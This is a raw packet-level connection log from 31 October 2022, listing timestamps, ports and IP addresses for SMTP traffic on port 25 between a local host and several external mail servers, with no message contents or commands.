Oct 31, 2022 12:20:39.339304924 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339314938 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339328051 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339340925 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339376926 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339390993 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339404106 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339417934 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339430094 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339443922 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339457989 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339471102 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.533929110 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535538912 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535557985 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535568953 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535582066 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535594940 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535608053 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535623074 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535634995 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535646915 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535655022 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.535726070 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.535857916 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.571929932 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.572244883 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.572458982 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:39.572458982 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:39.670439959 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.679172039 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.701793909 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.701889992 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.710045099 CET	50064	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:39.712342024 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.712441921 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.730634928 CET	50065	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:39.744158983 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.744631052 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.756401062 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.756634951 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.777991056 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.788604021 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.789218903 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.789840937 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.800659895 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.800900936 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.827640057 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.830425978 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.830651999 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.838274002 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.841988087 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.842359066 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:39.853347063 CET	25	50064	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:39.853607893 CET	50064	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:39.868061066 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.880359888 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:39.903992891 CET	25	50065	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:39.904222965 CET	50065	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:39.904968977 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.904989004 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905002117 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905018091 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905129910 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.905129910 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.905157089 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905226946 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.905280113 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905299902 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905314922 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905329943 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905333996 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.905343056 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905355930 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.905359983 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905375957 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905376911 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.905392885 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905400991 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.905411959 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905426025 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905441999 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905456066 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905469894 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905483961 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.905497074 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.938833952 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:40.001979113 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.004379034 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.013056993 CET	25	50064	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:40.013339996 CET	50064	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:40.017968893 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.018177986 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.037592888 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.045914888 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.046124935 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.047691107 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.051455021 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.059746027 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.066910028 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.068391085 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.077939987 CET	25	50065	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:40.078183889 CET	50065	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:40.080781937 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.080799103 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.080926895 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.081073999 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.081113100 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.081127882 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.081150055 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.081192017 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.081192017 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.101748943 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.101777077 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.101799011 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.101814985 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.101829052 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.101986885 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.101986885 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.106626034 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.106785059 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.114154100 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114177942 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114192963 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114203930 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114247084 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114264011 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114347935 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114367008 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114417076 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.114471912 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114490032 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.114495039 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.135363102 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135385990 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135399103 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135411024 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135452032 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135464907 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135502100 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135514975 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135526896 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135540009 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135586977 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.135607004 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135647058 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135656118 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.135659933 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135674000 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135678053 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.135725021 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135762930 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.135777950 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.140011072 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.140080929 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147582054 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147600889 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147614956 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147628069 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147749901 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147763968 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147777081 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147789955 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.147845030 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.159358025 CET	25	50064	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:40.159538031 CET	50064	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:40.159867048 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.159882069 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.159951925 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.159987926 CET	50063	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.168909073 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.168929100 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.168957949 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.168975115 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169014931 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169066906 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169118881 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169133902 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169147015 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169159889 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169173956 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169187069 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169203043 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169258118 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169270992 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169284105 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.169297934 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.179951906 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.179971933 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.180046082 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.180278063 CET	50062	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.185266018 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.192985058 CET	25	50063	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.204144955 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.212080002 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.212179899 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.213448048 CET	25	50062	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.240665913 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.243463993 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.251492023 CET	25	50065	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:40.251584053 CET	25	50065	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:40.251766920 CET	50065	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:40.257718086 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.257890940 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.271648884 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.274413109 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274430037 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274609089 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274625063 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274667025 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274713993 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.274780989 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274795055 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274827957 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274842978 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274899960 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274913073 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274925947 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274935007 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.274943113 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.274976969 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.275044918 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.275058985 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.275072098 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.275085926 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.302479982 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.302805901 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.303030968 CET	25	50064	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:40.303184986 CET	50064	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:40.312616110 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.312920094 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.335217953 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.366477013 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.369028091 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.369306087 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.423624992 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.424062014 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.425046921 CET	25	50065	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:40.425450087 CET	50065	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:40.451657057 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.451993942 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.479096889 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.479726076 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.479981899 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.482171059 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.483144999 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.488647938 CET	25	50064	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:40.504825115 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.505022049 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:40.505420923 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.505489111 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:40.510443926 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.510488987 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.510510921 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.510528088 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.510549068 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.510603905 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.510725021 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.515249014 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.515383005 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.537854910 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.537899971 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.537915945 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.537933111 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.537950993 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.537966013 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.537982941 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538000107 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538016081 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538033009 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538049936 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538068056 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538085938 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538106918 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538116932 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.538117886 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.538127899 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538147926 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538208008 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.538208008 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.538292885 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.538320065 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.542573929 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.542610884 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565434933 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565471888 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565490961 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565505981 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565521955 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565537930 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565555096 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565572023 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565589905 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565607071 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565625906 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565643072 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565661907 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565680027 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565699100 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565716982 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565736055 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.565752983 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.568845987 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.568876982 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.569175959 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.570405006 CET	50066	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:40.595407963 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.597398996 CET	25	50066	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:40.599051952 CET	25	50065	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:40.599209070 CET	50065	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:40.628669977 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.628818989 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.645195007 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.645510912 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.670303106 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.670517921 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.699282885 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.699717999 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.699919939 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.701508999 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.703130960 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.714915037 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.715140104 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.753304958 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.755222082 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.755254984 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.755270958 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.755286932 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.755305052 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.755356073 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.755424976 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.755855083 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.756027937 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.760237932 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.760344982 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.772882938 CET	25	50065	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:40.773008108 CET	50065	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:40.794327974 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.809075117 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809125900 CET	25	50067	142.250.150.27	192.168.2.5
